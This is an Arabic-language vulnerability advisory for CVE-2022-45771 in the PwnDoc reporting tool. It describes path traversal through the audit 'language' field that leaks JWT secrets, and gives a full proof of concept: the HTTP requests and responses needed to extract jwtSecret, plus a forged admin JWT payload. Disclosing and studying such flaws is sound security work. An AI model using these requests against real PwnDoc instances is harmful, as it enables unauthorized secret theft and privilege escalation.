CVE-2022-45771

أداة PwnDoc معرضة لهجمات اجتياز المسار (path traversal) وتضمين الملفات المحلية (LFI)، مما يسمح للمستخدمين غير المميزين بكشف أسرار JWT وتحقيق تنفيذ الأوامر.

المتطلبات:

لدى المهاجم حساب صالح بدور user
يحتوي التطبيق على قالب تقرير يحتوي إما على وسم finding.vulnType أو finding.category

التفاصيل

تتكون سلسلة الثغرات من الأجزاء التالية:

عدم التحقق من خاصية AuditSchema.language على مستوى كل من النموذج (model) والنقطة الطرفية (endpoint). (انظر /backend/src/models/audit.js, السطر: 71، /backend/src/routes/audit.js, السطر: 57)
استخدام دالة require مع معامل AuditSchema.language الذي يوفره المستخدم أثناء إنشاء التقرير. (انظر /backend/src/translate/index.js, السطر: 10، /backend/src/lib/report-generator.js, الأسطر: 24-25, 477, 487)
تعريض معاملَي jwtSecret و jwtRefreshSecret عبر تصدير الوحدات (module exports) في ملف auth.js. (انظر /backend/src/lib/auth.js, الأسطر: 17-21)
تسمح وظيفة رفع ملفات القوالب غير الآمنة برفع ملفات js (تتطلب صلاحية template:create).

[PoC] كشف سر JWT يؤدي إلى تصعيد الصلاحيات

إنشاء تدقيق (audit) مع ../lib/auth.js كـ language، سيتم لاحقاً تحميل الملف وتنفيذه باستخدام دالة require ونتيجة لذلك سيتم تصدير كل من jwtSecret و jwtRefreshSecret.

الطلب:

POST /api/audits HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 73
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}


{"name":"privesc-poc","language":"../lib/auth.js","auditType":"tested"}

الرد:

HTTP/1.1 201 Created
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:32 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 598
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":{"message":"Audit created successfully","audit":{"collaborators":[],"reviewers":[],"state":"EDIT","approvals":[],"_id":"637a49086f5a2e0012dd58c5","name":"privsec-poc","language":"../lib/auth.js","auditType":"tested","creator":"637a2065ab932e0012015580","sections":[],"customFields":[],"sortFindings":[{"category":"jjj","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true},{"category":"dd","sortValue":"cvssScore","sortOrder":"desc","sortAuto":true}],"scope":[],"findings":[],"createdAt":"2022-11-20T15:34:32.246Z","updatedAt":"2022-11-20T15:34:32.246Z","__v":0}}}

تعيين قالب تقرير للتدقيق. لاحظ أن القالب يجب أن يحتوي إما على وسم finding.vulnType - {vulnType} أو finding.category - {category}. انظر وثائق القوالب**

الطلب:

PUT /api/audits/637a49086f5a2e0012dd58c5/general HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 207
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}


{"collaborators":[],"reviewers":[],"_id":"637a49086f5a2e0012dd58c5","name":"privesc-poc","language":"../lib/auth.js","auditType":"tested","customFields":[],"template":"6377d57e5cccb10012049dbb","scope":[]}

الرد:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:43 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":"Audit General updated successfully"}

إضافة اكتشاف (finding) إلى التدقيق. لاحظ أن الخاصية category أو vulnType يجب أن تحتوي على jwtSecret.**

الطلب:

POST /api/audits/637a49086f5a2e0012dd58c5/findings HTTP/1.1
Accept: application/json, text/plain, */*
Content-Type: application/json;charset=utf-8
Origin: https://127.0.0.1:8443
Content-Length: 368
Accept-Language: en-GB,en;q=0.9
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: token=JWT%20{token}

{"title":"dsdsd","vulnType":"prod","description":"{description}","observation":"{observation}","references":[],"cvssv3":"CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L","category":null,"customFields":[], "category":"jwtSecret", "vulnType":"jwtRefreshSecret"}

الرد:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:34:54 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 65
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition

{"status":"success","datas":"Audit Finding created successfully"}

إنشاء تقرير للتدقيق الذي تم إنشاؤه سابقاً، والحصول على قيمة jwtSecret من مستند docx الذي تم إنشاؤه.

الطلب:

GET /api/audits/637a49086f5a2e0012dd58c5/generate HTTP/1.1
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate, br
Host: 127.0.0.1:8443
User-Agent: {user-agent}
Accept-Language: en-GB,en;q=0.9
Referer: https://127.0.0.1:8443/audits/637a2106ab932e0012015583/findings/add
Connection: keep-alive
Cookie: token=JWT%20{token}

الرد:

HTTP/1.1 200 OK
Server: nginx/1.22.1
Date: Sun, 20 Nov 2022 15:37:34 GMT
Content-Type: application/octet-stream
Content-Length: 98134
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Methods: GET,POST,DELETE,PUT,OPTIONS
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Expose-Headers: Content-Disposition
Content-Disposition: attachment; filename="rce-poc.docx"

{doc-content}

تغيير حقل role إلى admin داخل رمز JWT الخاص بك وتوقيعه باستخدام jwtSecret الذي تم الحصول عليه.

حمولة JWT:

{
  "id": "637a2065ab932e0012015580",
  "username": "justuser",
  "role": "admin",
  "firstname": "justuser",
  "lastname": "justuser",
  "email": "[email protected]",
  "phone": "12345",
  "roles": [
    "audits:create",
    "audits:read",
    "audits:update",
    "audits:delete",
    "images:create",
    "images:read",
    "clients:create",
    "clients:read",
    "clients:update",
    "clients:delete",
    "companies:create",
    "companies:read",
    "companies:update",
    "companies:delete",
    "languages:read",
    "audit-types:read",
    "vulnerability-types:read",
    "vulnerability-categories:read",
    "sections:read",
    "templates:read",
    "users:read",
    "roles:read",
    "vulnerabilities:read",
    "vulnerability-updates:create",
    "custom-fields:read",
    "settings:read-public"
  ],
  "iat": 1668958053,
  "exp": 1668958953
}

CVE-2022-45771

الأكثر شعبية

CVE-2022-45771

التفاصيل

[PoC] كشف سر JWT يؤدي إلى تصعيد الصلاحيات

[PoC] تحقيق تنفيذ الأوامر